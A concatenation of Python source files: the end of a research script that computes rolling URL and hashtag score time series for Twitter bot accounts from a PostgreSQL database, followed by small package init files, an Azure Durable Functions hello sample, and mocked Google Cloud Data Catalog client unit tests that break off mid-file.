PRECEDING AND CURRENT ROW) AS url_var, count(friend_tw_scores.url_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS url_tw_count FROM ( SELECT DISTINCT usr_timeline.tweet_id, conn2.t_usr_id_conn, usr_timeline.url_score, date_trunc('day', conn2.time) AS day, usr_timeline.created_at FROM (SELECT conn.t_usr_id_conn, conn.time FROM bot, connections conn WHERE bot.twitter_user_id = conn.t_usr_id_ego AND conn.time < DATE '2019-12-02' AND conn.conn_type is false AND conn.conn_tweet_update_time is not null AND bot.screen_name = '{}' AND conn.no_connctions is false) as conn2, tweet as usr_timeline WHERE usr_timeline.user_id = conn2.t_usr_id_conn AND usr_timeline.url_score is not null AND conn2.time >= usr_timeline.created_at ORDER BY usr_timeline.created_at ) AS friend_tw_scores order by friend_tw_scores.day; """ HASHTAG_FRIEND_USR_TIMELINE = """ SELECT distinct friend_tw_scores.day, AVG(friend_tw_scores.hashtag_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS hashtag_mean, VARIANCE(friend_tw_scores.hashtag_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS hashtag_var, count(friend_tw_scores.hashtag_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS hashtag_tw_count FROM ( SELECT DISTINCT usr_timeline.tweet_id, conn2.t_usr_id_conn, usr_timeline.hashtag_score, date_trunc('day', conn2.time) AS day, usr_timeline.created_at FROM (SELECT conn.t_usr_id_conn, conn.time FROM bot, connections conn WHERE bot.twitter_user_id = conn.t_usr_id_ego AND conn.time < DATE '2019-12-02' AND conn.conn_type is false AND conn.conn_tweet_update_time is not null AND bot.screen_name = '{}' AND conn.no_connctions is false) as conn2, tweet as usr_timeline WHERE usr_timeline.user_id = conn2.t_usr_id_conn AND usr_timeline.hashtag_score is not null AND conn2.time >= usr_timeline.created_at ORDER BY usr_timeline.created_at ) AS friend_tw_scores order by friend_tw_scores.day; """ URL_FOLLOWER_USR_TIMELINE = """ SELECT distinct friend_tw_scores.day, AVG(friend_tw_scores.url_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS url_mean, VARIANCE(friend_tw_scores.url_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS url_var, count(friend_tw_scores.url_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS url_tw_count FROM ( SELECT DISTINCT usr_timeline.tweet_id, conn2.t_usr_id_conn, usr_timeline.url_score, date_trunc('day', conn2.time) AS day, usr_timeline.created_at FROM (SELECT conn.t_usr_id_conn, conn.time FROM bot, connections conn WHERE bot.twitter_user_id = conn.t_usr_id_ego AND conn.time < DATE '2019-12-02' AND conn.conn_type is true AND conn.conn_tweet_update_time is not null AND bot.screen_name = '{}' AND conn.no_connctions is false) as conn2, tweet as usr_timeline WHERE usr_timeline.user_id = conn2.t_usr_id_conn AND usr_timeline.url_score is not null AND conn2.time >= usr_timeline.created_at ORDER BY usr_timeline.created_at ) AS friend_tw_scores order by friend_tw_scores.day; """ HASHTAG_FOLLOWER_USR_TIMELINE = """ SELECT distinct friend_tw_scores.day, AVG(friend_tw_scores.hashtag_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS hashtag_mean, VARIANCE(friend_tw_scores.hashtag_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS hashtag_var, count(friend_tw_scores.hashtag_score) over (order by friend_tw_scores.day ROWS BETWEEN 499 PRECEDING AND CURRENT ROW) AS hashtag_tw_count FROM ( SELECT DISTINCT usr_timeline.tweet_id, conn2.t_usr_id_conn, usr_timeline.hashtag_score, date_trunc('day', conn2.time) AS day, usr_timeline.created_at FROM (SELECT conn.t_usr_id_conn, conn.time FROM bot, connections conn WHERE bot.twitter_user_id = conn.t_usr_id_ego AND conn.time < DATE '2019-12-02' AND conn.conn_type is true AND conn.conn_tweet_update_time is not null AND bot.screen_name = '{}' AND conn.no_connctions is false) as conn2, tweet as usr_timeline WHERE usr_timeline.user_id = conn2.t_usr_id_conn AND usr_timeline.hashtag_score is not null AND conn2.time >= usr_timeline.created_at ORDER BY usr_timeline.created_at ) AS friend_tw_scores order by friend_tw_scores.day; """ def DBExecute( conn, command, param_lst=None, need_commit=False, return_id=False): """operate psql.""" result = True try: if not conn: return False cur = conn.cursor() if param_lst: cur.execute(command, param_lst) else: cur.execute(command) if not need_commit: if return_id: result = cur.fetchone()[0] else: result = cur.fetchall() else: if return_id: result = cur.fetchone()[0] conn.commit() except (Exception, psycopg2.DatabaseError) as error: result = False print(error) conn.rollback() finally: if cur: cur.close() return result def GetTimeSerisMetricForOneSeed(seeds, feature, comm, column_names, filename_prefix, bots_mask, db_conn=None): if not db_conn: return False rst_bot_to_df = {} for seed in seeds: print(feature,bots_mask.get(seed, seed),filename_prefix) result = DBExecute( db_conn, comm.format(seed), need_commit=False, return_id=False) result_df = pd.DataFrame(np.array(result), columns=column_names) result_df = result_df.drop_duplicates(subset=['date'], keep='last') result_df.to_csv('data/time_series/%s_%s.csv' % (filename_prefix, bots_mask.get(seed,seed)), index=False) rst_bot_to_df[seed] = result_df def generate_all_time_series(db_conn=None, INIT_SEED_MAP={}, bots_mask={}): if not db_conn: db_conn = psycopg2.connect('dbname=drifter') for seed, bot_accounts in INIT_SEED_MAP.items(): print(seed) # get bots in seed group # bot_accounts = INIT_SEED_MAP[seed] # url GetTimeSerisMetricForOneSeed( bot_accounts, 'url', URL_HOME_TL_SLIDING_WIN_FOR_EACH_BOT, ['date', 'url_mean', 'url_var', 'url_count'], 'url_%s_sliced_home_tl' % seed, db_conn=db_conn, bots_mask=bots_mask ) GetTimeSerisMetricForOneSeed( bot_accounts, 'url', URL_USER_TL_SLIDING_WIN_FOR_EACH_BOT, ['date', 'url_mean', 'url_var', 'url_count'], 'url_%s_sliced_usr_tl' % seed, db_conn=db_conn, bots_mask=bots_mask ) GetTimeSerisMetricForOneSeed( bot_accounts, 'url', URL_FRIEND_USR_TIMELINE, ['date', 'url_mean', 'url_var','url_count'], 'url_%s_sliced_friend_usr_tl' % seed, db_conn=db_conn, bots_mask=bots_mask ) GetTimeSerisMetricForOneSeed( bot_accounts, 'url', URL_FOLLOWER_USR_TIMELINE, ['date', 'url_mean', 'url_var','url_count'], 'url_%s_sliced_follower_usr_tl' % seed, db_conn=db_conn, bots_mask=bots_mask ) # hashtag GetTimeSerisMetricForOneSeed( bot_accounts, 'hashtag', HASHTAG_HOME_TL_SLIDING_WIN_FOR_EACH_BOT, ['date', 'hashtag_mean', 'hashtag_var', 'hashtag_count'], 'hashtag_%s_sliced_home_tl' % seed, db_conn=db_conn, bots_mask=bots_mask ) GetTimeSerisMetricForOneSeed( bot_accounts, 'hashtag', HASHTAG_USER_TL_SLIDING_WIN_FOR_EACH_BOT, ['date', 'hashtag_mean', 'hashtag_var', 'hashtag_count'], 'hashtag_%s_sliced_usr_tl' % seed, db_conn=db_conn, bots_mask=bots_mask ) GetTimeSerisMetricForOneSeed( bot_accounts, 'hashtag', HASHTAG_FRIEND_USR_TIMELINE, ['date', 'hashtag_mean', 'hashtag_var', 'hashtag_count'], 'hashtag_%s_sliced_friend_usr_tl' % seed, db_conn=db_conn, bots_mask=bots_mask ) GetTimeSerisMetricForOneSeed( bot_accounts, 'hashtag', HASHTAG_FOLLOWER_USR_TIMELINE, ['date', 'hashtag_mean', 'hashtag_var', 'hashtag_count'], 'hashtag_%s_sliced_follower_usr_tl' % seed, db_conn=db_conn, bots_mask=bots_mask ) if db_conn: db_conn.close() def main(): generate_all_time_series(None, INIT_SEED_MAP, BOT_NAME_MASK) if __name__ == "__main__": main()

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py

Python

samples/sequence/Hello/__init__.py

gled4er/azure-functions-durable-python

f212d4c32372e093a6d4d607ba40a2f443372f43

[ "MIT" ]

null

samples/sequence/Hello/__init__.py

gled4er/azure-functions-durable-python

f212d4c32372e093a6d4d607ba40a2f443372f43

[ "MIT" ]

null

samples/sequence/Hello/__init__.py

gled4er/azure-functions-durable-python

f212d4c32372e093a6d4d607ba40a2f443372f43

[ "MIT" ]

null

# To be discussed from durable_functions.models import activity_trigger def run(name: activity_trigger): return f'Hello {name}'

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Python

scripts/go-binsize-viz/example-data/helloworld/hello.py

ganeshkumarsv/datadog-lambda-extension

e6a7dad65a264478b5c1db9bb2195064c496b1cc

[ "Apache-2.0" ]

9

2021-06-04T07:29:24.000Z

2022-03-21T00:43:34.000Z

scripts/go-binsize-viz/example-data/helloworld/hello.py

ganeshkumarsv/datadog-lambda-extension

e6a7dad65a264478b5c1db9bb2195064c496b1cc

[ "Apache-2.0" ]

19

2021-05-25T13:16:51.000Z

2022-03-31T08:15:00.000Z

scripts/go-binsize-viz/example-data/helloworld/hello.py

ganeshkumarsv/datadog-lambda-extension

e6a7dad65a264478b5c1db9bb2195064c496b1cc

[ "Apache-2.0" ]

1

2022-03-25T02:58:14.000Z

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36f4ef5a4de62e0071b758ef7a05d23ccfc92e5e

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Python

ivy_builder/data_loaders/__init__.py

ivy-dl/builder

a24d7254e90476332b962f9aba9a02222c55e035

[ "Apache-2.0" ]

1

2022-02-20T15:40:01.000Z

ivy_builder/data_loaders/__init__.py

ivy-dl/builder

a24d7254e90476332b962f9aba9a02222c55e035

[ "Apache-2.0" ]

null

ivy_builder/data_loaders/__init__.py

ivy-dl/builder

a24d7254e90476332b962f9aba9a02222c55e035

[ "Apache-2.0" ]

1

2022-03-29T15:21:56.000Z

from . import specs from .specs import * from . import seq_data_loader from .seq_data_loader import *

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py

Python

oapi/oas/__init__.py

davebelais/oapi

5d4f6f21529d491496e1991e0d30209ef5e90c49

[ "MIT" ]

null

oapi/oas/__init__.py

davebelais/oapi

5d4f6f21529d491496e1991e0d30209ef5e90c49

[ "MIT" ]

null

oapi/oas/__init__.py

davebelais/oapi

5d4f6f21529d491496e1991e0d30209ef5e90c49

[ "MIT" ]

1

2020-08-27T16:08:56.000Z

from . import model from . import references

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42,254

py

Python

datacatalog/tests/unit/gapic/v1beta1/test_data_catalog_client_v1beta1.py

conwaychriscosmo/google-cloud-python

8e7b7f8a5f4bb04d13f4d88ec3848f017faf834a

[ "Apache-2.0" ]

null

datacatalog/tests/unit/gapic/v1beta1/test_data_catalog_client_v1beta1.py

conwaychriscosmo/google-cloud-python

8e7b7f8a5f4bb04d13f4d88ec3848f017faf834a

[ "Apache-2.0" ]

null

datacatalog/tests/unit/gapic/v1beta1/test_data_catalog_client_v1beta1.py

conwaychriscosmo/google-cloud-python

8e7b7f8a5f4bb04d13f4d88ec3848f017faf834a

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- # # Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Unit tests.""" import mock import pytest from google.cloud import datacatalog_v1beta1 from google.cloud.datacatalog_v1beta1.proto import datacatalog_pb2 from google.cloud.datacatalog_v1beta1.proto import search_pb2 from google.cloud.datacatalog_v1beta1.proto import tags_pb2 from google.iam.v1 import iam_policy_pb2 from google.iam.v1 import policy_pb2 from google.protobuf import empty_pb2 class MultiCallableStub(object): """Stub for the grpc.UnaryUnaryMultiCallable interface.""" def __init__(self, method, channel_stub): self.method = method self.channel_stub = channel_stub def __call__(self, request, timeout=None, metadata=None, credentials=None): self.channel_stub.requests.append((self.method, request)) response = None if self.channel_stub.responses: response = self.channel_stub.responses.pop() if isinstance(response, Exception): raise response if response: return response class ChannelStub(object): """Stub for the grpc.Channel interface.""" def __init__(self, responses=[]): self.responses = responses self.requests = [] def unary_unary(self, method, request_serializer=None, response_deserializer=None): return MultiCallableStub(method, self) class CustomException(Exception): pass class TestDataCatalogClient(object): def test_search_catalog(self): # Setup Expected Response next_page_token = "" results_element = {} results = [results_element] expected_response = {"next_page_token": next_page_token, "results": results} expected_response = datacatalog_pb2.SearchCatalogResponse(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request scope = {} query = "query107944136" paged_list_response = client.search_catalog(scope, query) resources = list(paged_list_response) assert len(resources) == 1 assert expected_response.results[0] == resources[0] assert len(channel.requests) == 1 expected_request = datacatalog_pb2.SearchCatalogRequest( scope=scope, query=query ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_search_catalog_exception(self): channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request scope = {} query = "query107944136" paged_list_response = client.search_catalog(scope, query) with pytest.raises(CustomException): list(paged_list_response) def test_create_entry_group(self): # Setup Expected Response name = "name3373707" display_name = "displayName1615086568" description = "description-1724546052" expected_response = { "name": name, "display_name": display_name, "description": description, } expected_response = datacatalog_pb2.EntryGroup(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request parent = client.location_path("[PROJECT]", "[LOCATION]") entry_group_id = "entryGroupId-43122680" entry_group = {} response = client.create_entry_group(parent, entry_group_id, entry_group) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.CreateEntryGroupRequest( parent=parent, entry_group_id=entry_group_id, entry_group=entry_group ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_create_entry_group_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request parent = client.location_path("[PROJECT]", "[LOCATION]") entry_group_id = "entryGroupId-43122680" entry_group = {} with pytest.raises(CustomException): client.create_entry_group(parent, entry_group_id, entry_group) def test_get_entry_group(self): # Setup Expected Response name_2 = "name2-1052831874" display_name = "displayName1615086568" description = "description-1724546052" expected_response = { "name": name_2, "display_name": display_name, "description": description, } expected_response = datacatalog_pb2.EntryGroup(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request name = client.entry_group_path("[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]") response = client.get_entry_group(name) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.GetEntryGroupRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_get_entry_group_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request name = client.entry_group_path("[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]") with pytest.raises(CustomException): client.get_entry_group(name) def test_delete_entry_group(self): channel = ChannelStub() patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request name = client.entry_group_path("[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]") client.delete_entry_group(name) assert len(channel.requests) == 1 expected_request = datacatalog_pb2.DeleteEntryGroupRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_delete_entry_group_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request name = client.entry_group_path("[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]") with pytest.raises(CustomException): client.delete_entry_group(name) def test_create_entry(self): # Setup Expected Response name = "name3373707" linked_resource = "linkedResource1544625012" display_name = "displayName1615086568" description = "description-1724546052" expected_response = { "name": name, "linked_resource": linked_resource, "display_name": display_name, "description": description, } expected_response = datacatalog_pb2.Entry(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request parent = client.entry_group_path("[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]") entry_id = "entryId-2093663224" entry = {} response = client.create_entry(parent, entry_id, entry) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.CreateEntryRequest( parent=parent, entry_id=entry_id, entry=entry ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_create_entry_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request parent = client.entry_group_path("[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]") entry_id = "entryId-2093663224" entry = {} with pytest.raises(CustomException): client.create_entry(parent, entry_id, entry) def test_update_entry(self): # Setup Expected Response name = "name3373707" linked_resource = "linkedResource1544625012" display_name = "displayName1615086568" description = "description-1724546052" expected_response = { "name": name, "linked_resource": linked_resource, "display_name": display_name, "description": description, } expected_response = datacatalog_pb2.Entry(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request entry = {} response = client.update_entry(entry) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.UpdateEntryRequest(entry=entry) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_update_entry_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request entry = {} with pytest.raises(CustomException): client.update_entry(entry) def test_delete_entry(self): channel = ChannelStub() patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request name = client.entry_path("[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]", "[ENTRY]") client.delete_entry(name) assert len(channel.requests) == 1 expected_request = datacatalog_pb2.DeleteEntryRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_delete_entry_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request name = client.entry_path("[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]", "[ENTRY]") with pytest.raises(CustomException): client.delete_entry(name) def test_get_entry(self): # Setup Expected Response name_2 = "name2-1052831874" linked_resource = "linkedResource1544625012" display_name = "displayName1615086568" description = "description-1724546052" expected_response = { "name": name_2, "linked_resource": linked_resource, "display_name": display_name, "description": description, } expected_response = datacatalog_pb2.Entry(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request name = client.entry_path("[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]", "[ENTRY]") response = client.get_entry(name) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.GetEntryRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_get_entry_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request name = client.entry_path("[PROJECT]", "[LOCATION]", "[ENTRY_GROUP]", "[ENTRY]") with pytest.raises(CustomException): client.get_entry(name) def test_lookup_entry(self): # Setup Expected Response name = "name3373707" linked_resource = "linkedResource1544625012" display_name = "displayName1615086568" description = "description-1724546052" expected_response = { "name": name, "linked_resource": linked_resource, "display_name": display_name, "description": description, } expected_response = datacatalog_pb2.Entry(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() response = client.lookup_entry() assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.LookupEntryRequest() actual_request = channel.requests[0][1] assert expected_request == actual_request def test_lookup_entry_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() with pytest.raises(CustomException): client.lookup_entry() def test_create_tag_template(self): # Setup Expected Response name = "name3373707" display_name = "displayName1615086568" expected_response = {"name": name, "display_name": display_name} expected_response = tags_pb2.TagTemplate(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request parent = client.location_path("[PROJECT]", "[LOCATION]") tag_template_id = "tagTemplateId-2020335141" tag_template = {} response = client.create_tag_template(parent, tag_template_id, tag_template) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.CreateTagTemplateRequest( parent=parent, tag_template_id=tag_template_id, tag_template=tag_template ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_create_tag_template_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request parent = client.location_path("[PROJECT]", "[LOCATION]") tag_template_id = "tagTemplateId-2020335141" tag_template = {} with pytest.raises(CustomException): client.create_tag_template(parent, tag_template_id, tag_template) def test_get_tag_template(self): # Setup Expected Response name_2 = "name2-1052831874" display_name = "displayName1615086568" expected_response = {"name": name_2, "display_name": display_name} expected_response = tags_pb2.TagTemplate(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request name = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") response = client.get_tag_template(name) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.GetTagTemplateRequest(name=name) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_get_tag_template_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request name = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") with pytest.raises(CustomException): client.get_tag_template(name) def test_update_tag_template(self): # Setup Expected Response name = "name3373707" display_name = "displayName1615086568" expected_response = {"name": name, "display_name": display_name} expected_response = tags_pb2.TagTemplate(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request tag_template = {} response = client.update_tag_template(tag_template) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.UpdateTagTemplateRequest( tag_template=tag_template ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_update_tag_template_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request tag_template = {} with pytest.raises(CustomException): client.update_tag_template(tag_template) def test_delete_tag_template(self): channel = ChannelStub() patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request name = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") force = False client.delete_tag_template(name, force) assert len(channel.requests) == 1 expected_request = datacatalog_pb2.DeleteTagTemplateRequest( name=name, force=force ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_delete_tag_template_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request name = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") force = False with pytest.raises(CustomException): client.delete_tag_template(name, force) def test_create_tag_template_field(self): # Setup Expected Response name = "name3373707" display_name = "displayName1615086568" is_required = True expected_response = { "name": name, "display_name": display_name, "is_required": is_required, } expected_response = tags_pb2.TagTemplateField(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request parent = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") tag_template_field_id = "tagTemplateFieldId-92144832" tag_template_field = {} response = client.create_tag_template_field( parent, tag_template_field_id, tag_template_field ) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.CreateTagTemplateFieldRequest( parent=parent, tag_template_field_id=tag_template_field_id, tag_template_field=tag_template_field, ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_create_tag_template_field_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request parent = client.tag_template_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]") tag_template_field_id = "tagTemplateFieldId-92144832" tag_template_field = {} with pytest.raises(CustomException): client.create_tag_template_field( parent, tag_template_field_id, tag_template_field ) def test_update_tag_template_field(self): # Setup Expected Response name_2 = "name2-1052831874" display_name = "displayName1615086568" is_required = True expected_response = { "name": name_2, "display_name": display_name, "is_required": is_required, } expected_response = tags_pb2.TagTemplateField(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request name = client.field_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]", "[FIELD]") tag_template_field = {} response = client.update_tag_template_field(name, tag_template_field) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.UpdateTagTemplateFieldRequest( name=name, tag_template_field=tag_template_field ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_update_tag_template_field_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request name = client.field_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]", "[FIELD]") tag_template_field = {} with pytest.raises(CustomException): client.update_tag_template_field(name, tag_template_field) def test_rename_tag_template_field(self): # Setup Expected Response name_2 = "name2-1052831874" display_name = "displayName1615086568" is_required = True expected_response = { "name": name_2, "display_name": display_name, "is_required": is_required, } expected_response = tags_pb2.TagTemplateField(**expected_response) # Mock the API response channel = ChannelStub(responses=[expected_response]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request name = client.field_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]", "[FIELD]") new_tag_template_field_id = "newTagTemplateFieldId-1668354591" response = client.rename_tag_template_field(name, new_tag_template_field_id) assert expected_response == response assert len(channel.requests) == 1 expected_request = datacatalog_pb2.RenameTagTemplateFieldRequest( name=name, new_tag_template_field_id=new_tag_template_field_id ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_rename_tag_template_field_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup request name = client.field_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]", "[FIELD]") new_tag_template_field_id = "newTagTemplateFieldId-1668354591" with pytest.raises(CustomException): client.rename_tag_template_field(name, new_tag_template_field_id) def test_delete_tag_template_field(self): channel = ChannelStub() patch = mock.patch("google.api_core.grpc_helpers.create_channel") with patch as create_channel: create_channel.return_value = channel client = datacatalog_v1beta1.DataCatalogClient() # Setup Request name = client.field_path("[PROJECT]", "[LOCATION]", "[TAG_TEMPLATE]", "[FIELD]") force = False client.delete_tag_template_field(name, force) assert len(channel.requests) == 1 expected_request = datacatalog_pb2.DeleteTagTemplateFieldRequest( name=name, force=force ) actual_request = channel.requests[0][1] assert expected_request == actual_request def test_delete_tag_template_field_exception(self): # Mock the API response channel = ChannelStub(responses=[CustomException()]) patch = 